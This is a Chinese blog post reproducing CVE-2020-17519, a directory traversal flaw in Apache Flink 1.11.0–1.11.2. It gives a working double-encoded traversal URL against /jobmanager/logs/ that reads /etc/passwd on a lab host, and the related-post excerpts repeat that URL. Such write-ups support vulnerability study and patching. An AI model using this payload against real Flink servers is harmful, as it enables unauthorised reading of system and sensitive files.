Apache Flink jobmanager/logs 目录穿越漏洞（CVE-2020-17519）

已于 2024-02-23 15:01:37 修改
阅读量254 收藏
点赞数 1
分类专栏： apache漏洞 文章标签： flink 大数据
于 2024-02-23 14:58:59 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53639243/article/details/136256482
版权
这篇文章揭示了ApacheFlink1.11.0到1.11.2版本中的一个安全问题，攻击者可通过JobManager的REST接口获取到本地文件系统的敏感文件。复现方法和路径被详细描述。
摘要由CSDN通过智能技术生成

Apache Flink 是一个开源的流处理框架，具有强大的流处理和批处理能力。Apache Flink 1.11.0（以及 1.11.1 和 1.11.2 中发布的版本）中引入的一项更改允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

复现：

访问首页http://192.168.92.130:8081

exp利用

http://192.168.92.130:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

 

青梅fox
关注
专栏目录
[ vulhub漏洞复现篇 ] Apache Flink目录遍历(CVE-2020-17519)
qq_51577576的博客
09-26 3446
[ vulhub漏洞复现篇 ] Apache Flink目录遍历 2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，攻击者可通过REST API使用../跳目录实现系统任意文件读取。
Apache Flink CVE-2020-17518/CVE-2020-17519 文件操作漏洞复现
m0_48520508的博客
01-21 554
0x00简介 Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01漏洞概述 CVE-2020-17519 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.
FlinkJob归档日志介绍
迷思
04-11 367
flink归档日志介绍
Apache Flink jobmanager/logs 目录遍历 (CVE-2020-17519)
EC_Carrot的博客
06-04 448
漏洞复现 访问以下网址： http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd 就能够读取/etc/passwd，我环境出问题了，复现不了…
Apache Flink jobmanager 目录遍历漏洞
weixin_46801402的博客
11-02 588
Apache Flink jobmanager 目录遍历漏洞
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现
Senimo
07-28 1079
Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接 一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0 中引入的更改（以及在 1.11.1 和1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取JobManager本地文件系统上的任何文件。 访问仅限于
Apache Flink jobmanager/logs 目录穿越漏洞复现
Tauil的博客
07-22 1182
这个错误的返回就是说明我们没有成功跳出当前web目录，说明他存在有URL检查，拦截了我们的访问，那么我们可以在进行一次编码，来一个编码的二次方。%2fpasswd//这是“…URL后面的，而且他还不会将这个文件名称的URL进行加密等操作，直接放到URL后面进行访问，诶我这么说可能不太明白，就直接看图吧。%252fetc%252fpasswd//这是“…，一直添加到他成功访问到文件就行，或者是直接加一长串，那肯定就能访问到了。，告诉我们请求错误，你要找的文件不在这，所以我们就需要继续在URL中添加。.....
Apache Flink漏洞（CVE-2020-17519）复现
玄道的网安博客
01-06 5894
简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 漏洞概述 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 影响版本 1.11.0、1.11.1、1.11.2 环境搭建 使用vulhub进行安装 Vulhub地址： https://github.com/vulhu...
CVE-2020-17519/17518 Apache Flink 文件操作漏洞复现
ximo的博客
03-31 522
简介 Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。 漏洞简介 CVE-2020-17518攻击者利用REST API，可以修改HTTP头，将上传的文件写入到本地文件系统上的任意位置（Flink 1.5.1进程能访问到的）。 CVE-2020-17519Apache Flink 1.11.0 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件（JobManager进程能访问
【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）
weixin_43486390的博客
01-07 357
0x01 漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。Apache Flink 1.11.0（以及1.11.1和1.11.2中发布的）中引入的更改允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统中的任何文件。 0x02 影响版本 Flink 1.11.0、1.11.1、1.11.2 0x03 漏洞复现 简单验证： 读取该文件可直接判断是否存在漏洞 http://192.168.1.1:8081/jobmanager/logs/
apache目录遍历漏洞利用_Apache Flink目录遍历漏洞
weixin_39836803的博客
01-14 283
CVE-2020-17518CVE-2020-17519今天嗓子有点哑没去上班在家写点复现把，这个漏洞有两个编号正确来说是有两种方式，一种是可进行目录遍历，一种是进行远程写入，都是通过REST API进行，此漏洞的影响很是广泛，此款框架核心用java和Scala编写由于时间有限直接从实战出发未能搭建详细的测试环境一切测试均在真实环境中进行所以并无远程写入的详细过程远程读取影响版本1.11.0、1....
读取本地josn文件_Apache Flink任意文件读取（CVE202017519）&&任意文件上传（CVE202017518）...
weixin_35227213的博客
01-12 244
一、任意文件读取(CVE-2020-17519)访问：http://your-ip:8081进入Apache Flink 控制面板：在地址栏使用poc：http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f...
flink
zyzn1425077119的博客
10-29 208
参考:https://blog.csdn.net/lp284558195/article/details/92798595 https://baike.baidu.com/item/flink/9078426?fr=aladdin Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。 ...
Apache Flink jobmanager/logs Path Traversal(CVE-2020-17519)和Nginx 越界读取缓存漏洞漏洞复现
weixin_48739941的博客
04-11 439
1、Apache Flink jobmanager/logs Path Traversal(CVE-2020-17519) (1)漏洞原理 攻击者可以利用 JobManager 的 REST API，读取 JobManager 本地文件系统上的任意文件（JobManager 进程有权限能够读取到的文件）。 (2)修复 升级到1.11.3或1.12.0版本。 (3) cd vulhub/flink/CVE-2020-17519 切换目录。 (4)docker-compose up -d 启动。
flink yarn模式提交及查看日志
热门推荐
peidezhi的专栏
10-15 1万+
一、Yarn session（一般测试环境） yarn session会初始启动指定的tm数量。 job提交后再指定的session 内运行。 其它job运行，如果资源不够，就会一直等待直到占用的job运行完毕释放资源。jm所有job共享 1 在任意几点启动yarn-session: 下述属性启动4个任务管理器。 每个任务管理器占用1024M内存，且每任务管理器分配2个SLO...
[漏洞预警]Apache Flink 高危漏洞预警(CVE-2020-17518 CVE-2020-17519)
Matrix42
01-07 1991
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞： CVE-2020-17519：攻击者可通过REST API使用…/跳目录实现系统任意文件读取； CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。 1. 漏洞描述 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历
flink-jobmanager
weidaoyouwen的专栏
02-13 5963
一般来说我们知道武功分为内功和外功。外功其实是很好练的，而且很实用，练完就可以打人。而我们实战同样也是，看完就可以干活。这就是我们的外功。但是如果你想把事情做得更好，遇到问题能够更好地解决，那就需要练内功，这就是我们系统学习所要学习的Flink的一些概念机制等。下面我们开始修炼内功，看下Flink的分布式执行。Flink的分布式执行包括两个重要的进程，master和worker。 执行Flink程...
Flink On kubernetes
最新发布
happy_king_zi的博客
10-15 909
Session 模式下，Flink 集群处于长期运行状态，当集群的Master组件接收到客户端提交的任务后，对任务进行分析并处理。用户将Flink集群的资源描述文件提交到 Kubernetes 之后，Flink 集群的 FlinkMaster 和 TaskManager 会被创建出来，如下图所示，TaskManager 启动后会向 ResourceManager 模块注册，这时 Flink Session 集群已经准备就绪。
FLINK内存管理解析，taskmanager、jobmanager
weixin_41917987的博客
10-12 589
1、flink内存包含以下部分，Total Process Memory总内存(taskmanager/jobmanager.process.size)，等于Total Flink Memory内存(flink管理的内存taskmanager/jobmanager.flink.size)+jvm进程消耗内存(JVM Metaspace+JVM Overhead)，即 flink 管理部分 jvm 内存，jvm自身也消耗一部分内存。Jvm Overhead：2048 * 0.1(默认)=205m。
Apache Flink CVE-2020-17518：远程文件写入漏洞分析
"Apache Flink的CVE-2020-17518是一个严重的安全漏洞，它允许远程攻击者通过REST API进行目录遍历，从而实现任意文件写入。此漏洞影响Apache Flink的1.5.1至1.11.2版本。攻击者可以通过构造特殊的HTTP请求头来将文件...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值